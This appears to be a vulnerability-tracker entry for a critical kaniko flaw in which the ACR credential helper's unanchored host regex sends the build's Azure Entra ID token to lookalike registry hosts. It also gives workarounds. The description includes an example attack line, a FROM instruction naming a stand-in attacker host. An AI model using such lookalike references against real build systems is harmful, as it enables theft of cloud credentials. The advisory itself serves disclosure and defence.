Go
CVE-2026-105769
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
- Severity
- Critical 9.3
- Published
- 2 Nov 2026
- Last changed
- 5 Nov 2026
- Added to UpHeron
- 23 Nov 2026
- Fixed in
- 1.25.20
- Exploit chance
- 0.2% in the next 30 daysHigher than 9% of CVEs. EPSS by FIRST, 24 Nov 2026
- Attack
- Over the network · No login needed · Needs someone to click or open something
- Attacker can
- Read data · Change data
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N- Also known as
- GHSA-5q7h-w9jf-cx97, GO-2026-6902
- Sources
- CVE Program, OSV.dev and GitHub
Description
kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.
The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.
Workarounds
If you can't upgrade, don't let untrusted builds reach an Azure identity:
- Remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods.
- If you don't rely on kaniko's built-in ACR authentication, set AZURE_ENVIRONMENT to a value that names no Azure cloud, such as AZURE_ENVIRONMENT=none, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it.
Affected software
| Software | Affected versions |
|---|---|
github.com/chainguard-dev/kanikoGo · osv:Go:github.com/chainguard-dev/kaniko |
|
About github.com/chainguard-dev/kaniko
This is the only vulnerability in github.com/chainguard-dev/kaniko in our list.
References
- CVE.org https://www.cve.org/CVERecord?id=CVE-2026-105769
- GitHub Advisory Database https://github.com/advisories/GHSA-5q7h-w9jf-cx97